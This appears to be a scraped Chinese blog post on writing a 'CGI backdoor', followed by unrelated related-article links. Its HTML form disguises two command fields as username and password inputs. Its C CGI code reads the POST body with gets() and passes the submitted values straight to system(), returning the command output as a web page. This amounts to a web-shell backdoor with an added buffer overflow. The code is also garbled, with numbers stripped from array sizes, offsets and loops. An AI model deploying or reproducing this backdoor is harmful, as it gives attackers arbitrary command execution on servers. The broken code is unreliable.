1.html代码

<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>

2.C代码

#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB" void main123()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1 != NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); char *p2 = strchr(p1 + , '&');
if (*p2!=NULL)
{
*p2 = '\0';
}
printf("<br>%s", p1+); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
char filename[] = { };
sprintf(filename, "%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch == '\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main3()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1!=NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s >%d.txt", szpost + ,num);
char filename[] = { };
sprintf(filename,"%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch=='\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main2()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); } //重定向输出
//输入
void main()
{
printf("Content-type:text/html\n\n");//换行
for (int i = ; i < ; i++)
{
//printf("锄禾日当午\n");
printf("锄禾日当午<br>");
} }

服务器开发之CGI后门的更多相关文章

  1. 高性能服务器开发之C++定时器

    高性能服务器开发之C++定时器 来源: https://www.cnblogs.com/junye/p/5836552.html 写这篇文章前搜了下网上类似的文章,有很多,所以笔者的这篇文章就不对定时 ...

  2. JSON的服务器开发之路

    JSON的服务器开发之路 不知道需要哪儿些包... /dcywpt/WebRoot/WEB-INF/lib/commons-collections-3.2.jar /dcywpt/WebRoot/WE ...

  3. C语言进行站点开发之cgi

     安装Apach 配置ApacheRuntime 以下的过程中一直点击next 配置CGI,放开配置:AddHandler cgi-script .cgi watermark/2/text/aHR ...

  4. JavaEE开发之SpringMVC中的静态资源映射及服务器推送技术

    在上篇博客中,我们聊了<JavaEE开发之SpringMVC中的自定义拦截器及异常处理>.本篇博客我们继续的来聊SpringMVC的东西,下方我们将会聊到js.css这些静态文件的加载配置 ...

  5. Android安全开发之WebView中的地雷

    Android安全开发之WebView中的地雷 0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者 ...

  6. 微信公众号开发之VS远程调试

    目录 (一)微信公众号开发之VS远程调试 (二)微信公众号开发之基础梳理 (三)微信公众号开发之自动消息回复和自定义菜单 前言 微信公众平台消息接口的工作原理大概可以这样理解:从用户端到公众号端一个流 ...

  7. Android安全开发之ZIP文件目录遍历

    1.ZIP文件目录遍历简介 因为ZIP压缩包文件中允许存在“../”的字符串,攻击者可以利用多个“../”在解压时改变ZIP包中某个文件的存放位置,覆盖掉应用原有的文件.如果被覆盖掉的文件是动态链接s ...

  8. Cocos2d-x 3.x游戏开发之旅

    Cocos2d-x 3.x游戏开发之旅 钟迪龙 著   ISBN 978-7-121-24276-2 2014年10月出版 定价:79.00元 516页 16开 内容提要 <Cocos2d-x ...

  9. iOS开发之Socket通信实战--Request请求数据包编码模块

    实际上在iOS很多应用开发中,大部分用的网络通信都是http/https协议,除非有特殊的需求会用到Socket网络协议进行网络数 据传输,这时候在iOS客户端就需要很好的第三方CocoaAsyncS ...

随机推荐

  1. (๑•̀ㅂ•́)و✧随笔总目录ヾ(≧▽≦*)o

    SSM整合进阶篇 日常手记 开源博客My Blog系列 短信接口攻击事件 读书笔记 SSM整合优化篇 SSM整合基础篇 SSM整合进阶篇 Spring+SpringMVC+MyBatis+easyUI ...

  2. js--Dom Bom操作

    –      基础 –     内置对象 ● String对象:处理所有的字符串操作 ● Math对象:处理所有的数学运算 ● Date对象:处理日期和时间的存储.转化和表达 ● Array对象:提供 ...

  3. bzoj 4605: 崂山白花蛇草水

    Description 神犇Aleph在SDOI Round2前立了一个flag:如果进了省队,就现场直播喝崂山白花蛇草水.凭借着神犇Aleph的实 力,他轻松地进了山东省省队,现在便是他履行诺言的时 ...

  4. HDU 2084 数塔(简单DP入门)

    数塔 Time Limit: 1000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submiss ...

  5. NYoj_20吝啬的国度

    吝啬的国度 时间限制:1000 ms  |  内存限制:65535 KB 难度:3 描述 在一个吝啬的国度里有N个城市,这N个城市间只有N-1条路把这个N个城市连接起来.现在,Tom在第S号城市,他有 ...

  6. Android开发之漫漫长途 XII——Fragment详解

    该文章是一个系列文章,是本人在Android开发的漫漫长途上的一点感想和记录,我会尽量按照先易后难的顺序进行编写该系列.该系列引用了<Android开发艺术探索>以及<深入理解And ...

  7. SDK是什么?什么是SDK

    从 SDK导航 看到的 应该比较专业! SDK的英文全名是:software development kit,翻译成中文的意思就是"软件开发工具包" 通俗一点的理解,是指由第三方服 ...

  8. ecshop_添加最新评论

    第一步: 在includes/lib_goods.php里面构建自定义函数 代码如下: /**  * 获取最近评论 *  * @return array  */ function get_latest ...

  9. 邓_PHP面试【001】

    1.双引号和单引号的区别 双引号解释变量,单引号不解释变量 双引号里插入单引号,其中单引号里如果有变量的话,变量解释 双引号的变量名后面必须要有一个非数字.字母.下划线的特殊字符,或者用{}讲变量括起 ...

  10. EditText之边框颜色

    EditText的自带属性里没有设置边框颜色的 有俩种方式可以达到效果 一种是网上比较推崇的用图作背景,另一种则是自绘 图作背景的: 首先重新定义一个style.在values文件夹下新建一个styl ...